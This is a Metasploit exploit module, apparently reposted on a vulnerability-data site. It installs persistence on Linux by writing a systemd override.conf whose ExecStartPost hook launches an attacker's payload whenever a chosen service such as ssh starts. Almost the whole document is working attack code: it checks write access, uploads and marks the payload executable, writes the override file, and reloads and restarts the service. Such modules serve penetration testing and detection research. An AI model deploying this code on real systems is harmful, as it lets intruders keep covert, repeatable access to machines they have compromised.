##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Service SystemD override.conf Persistence',
'Description' => %q{
This module will create an override.conf file for a SystemD service on the box.
The ExecStartPost hook is used to launch the payload after the service is started.
We need enough access (typically root) to write in the /etc/systemd/system
directory and potentially restart services.
Verified on Ubuntu 22.04
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
'Platform' => ['unix', 'linux'],
'Privileged' => true,
'Targets' => [
['systemd', {}],
['systemd user', {}]
],
'DefaultTarget' => 0,
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'References' => [
['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'],
['URL', 'https://askubuntu.com/a/659268'],
['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
],
'SessionTypes' => ['shell', 'meterpreter'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DisclosureDate' => '2010-03-30' # systemd release date
)
)
register_options(
[
OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']),
]
)
register_advanced_options(
[
OptBool.new('ReloadService', [true, 'Reload the service', true])
]
)
end
def check
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
root_dir = '/lib/systemd/system/'
service_file = "#{root_dir}#{datastore['SERVICE']}.service"
return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file)
service_root_dir = '/etc/systemd/system/'
service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d"
override_conf = "#{service_dir}/override.conf"
if directory?(service_dir)
return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf)
return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir)
else
return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir)
end
CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
end
def install_persistence
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d"
override_conf = "#{service_dir}/override.conf"
unless exists?(service_dir)
vprint_status("Creating #{service_dir}")
create_process('mkdir', args: ['-p', service_dir])
end
if exists?(override_conf)
conf = read_file(override_conf)
backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup")
vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}")
@clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n"
else
@clean_up_rc << "rm #{override_conf}\n"
end
if payload.arch.first == 'cmd'
p_load = payload.encoded
p_load = ' &' unless p_load.end_with?('&')
contents = <<~OVERRIDE
[Service]
ExecStartPost=/bin/sh -c '#{p_load}'
OVERRIDE
else
payload_path = writable_dir
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
print_status("Uploading payload file to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
contents = <<~OVERRIDE
[Service]
ExecStartPost=/bin/sh -c '#{payload_path} &'
OVERRIDE
end
vprint_status("Writing override file to: #{override_conf}")
write_file(override_conf, contents)
# This was taken from pam_systemd(8)
systemd_socket_id = cmd_exec('id -u')
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")
@clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n"
@clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""
if datastore['ReloadService']
vprint_status("Reloading #{datastore['SERVICE']} service")
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation